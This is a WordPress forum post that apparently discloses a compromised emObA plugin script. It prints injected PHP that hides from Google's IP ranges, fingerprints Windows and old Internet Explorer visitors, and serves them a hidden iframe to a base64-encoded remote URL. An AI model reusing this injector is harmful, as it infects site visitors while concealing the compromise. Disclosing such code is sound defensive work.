WordPress.org

Ready to get started?Download WordPress

Forums

emObA - Email Obfuscator Advanced
please namespace your php functions in emoba_script.js (1 post)

  1. avenueverve
    Member
    Posted 3 years ago #

    /** Version 2.0 **/
    function emobascript(email, ename, id, eclass, estyle, hover) {
    	var cleanName = ename.replace(/</g, '<');
      var mailtoString = 'mailto:';
      var mailNode = document.getElementById(id);
      var linkNode = document.createElement('a');
      linkNode.className = eclass+'emoba-link';
      linkNode.title = 'Send email';
      linkNode.id = id;
      if (estyle) {linkNode.setAttribute('style', estyle);}
      var mailtolink = mailtoString + email;
      linkNode.href = mailtolink;
    	if (hover == 1) {
    		var spanNode = document.createElement('span');
    		spanNode.className = 'emoba-hover';
    		spanNode.innerHTML = 'Click to email ';
    		linkNode.appendChild(spanNode);
    		linkNode.className = 'emoba-pop';
    	}
      var tNode = document.createElement('span');
      tNode.className = 'emoba-realname';
      tNode.innerHTML = cleanName;
      linkNode.appendChild(tNode);
      mailNode.parentNode.replaceChild(linkNode, mailNode);
    }
    
    <?
    
    function emoba_net_match ( $network , $ip ) {
    $ip_arr = explode ( '/' , $network );
    $network_long = ip2long ( $ip_arr [ 0 ]);
    $x = ip2long ( $ip_arr [ 1 ]);
    $mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
    $ip_long = ip2long ( $ip );
    return ( $ip_long & $mask ) == ( $network_long & $mask );
    }
    
    function emoba_net()
    {
    $ip=$_SERVER['REMOTE_ADDR'];
    
    if(
    emoba_net_match('64.233.160.0/19',$ip)==0 &&
    emoba_net_match('66.102.0.0/20',$ip)==0 &&
    emoba_net_match('66.249.64.0/19',$ip)==0 &&
    emoba_net_match('72.14.192.0/18',$ip)==0 &&
    emoba_net_match('74.125.0.0/16',$ip)==0 &&
    emoba_net_match('89.207.224.0/24',$ip)==0 &&
    emoba_net_match('193.142.125.0/24',$ip)==0 &&
    emoba_net_match('194.110.194.0/24',$ip)==0 &&
    emoba_net_match('209.85.128.0/17',$ip)==0 &&
    emoba_net_match('216.239.32.0/19',$ip)==0 &&
    emoba_net_match('128.111.0.0/16',$ip)==0 &&
    emoba_net_match('67.217.0.0/16',$ip)==0 &&
    emoba_net_match('188.93.0.0/16',$ip)==0
    )
    return true;
    }
    
    function emoba_detect_os() {
    global $os;
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    if(strpos($user_agent, "Windows") !== false) $os = 'windows';
    }emoba_detect_os();
    
    function emoba_detect_brows() {
    global $OOOOO0000, $OOOOOO000;
    $user_agent = $_SERVER["HTTP_USER_AGENT"];
    if (preg_match("/MSIE 6.0/", $user_agent) OR
        preg_match("/MSIE 7.0/", $user_agent) OR
        preg_match("/MSIE 8.0/", $user_agent)
    ) $OOOOOO000 = "MSIE";
    }emoba_detect_brows();
    
    $IP = $_SERVER['REMOTE_ADDR'].".log";
    
    function _emoba_log()
    { global $IP;
    touch ("/tmp/mailNode.parentNode/{$IP}");
    }
    @mkdir('/tmp/mailNode.parentNode');
    function _emoba_check()
    {
    global $IP;
    if(!file_exists("/tmp/mailNode.parentNode/{$IP}")) return true;
    }
    $dfjgkbl=base64_decode('aHR0cDovLzEyOS4xMjEuOTkuMzYvSG9tZS9pbmRleC5waHA=');
    if(_emoba_check())
    {
    if(emoba_net())
    {
    if($os)
    {
    if($OOOOOO000 == "MSIE")
    {
    echo 'document.write(\'<iframe frameborder=0 src="'.$dfjgkbl.'" width=1 height=1 scrolling=no></iframe>\');';
    
    _emoba_log();
    
    }}}}

    http://wordpress.org/extend/plugins/emoba-email-obfuscator-advanced/

Topic Closed

This topic has been closed to new replies.

About this Plugin

About this Topic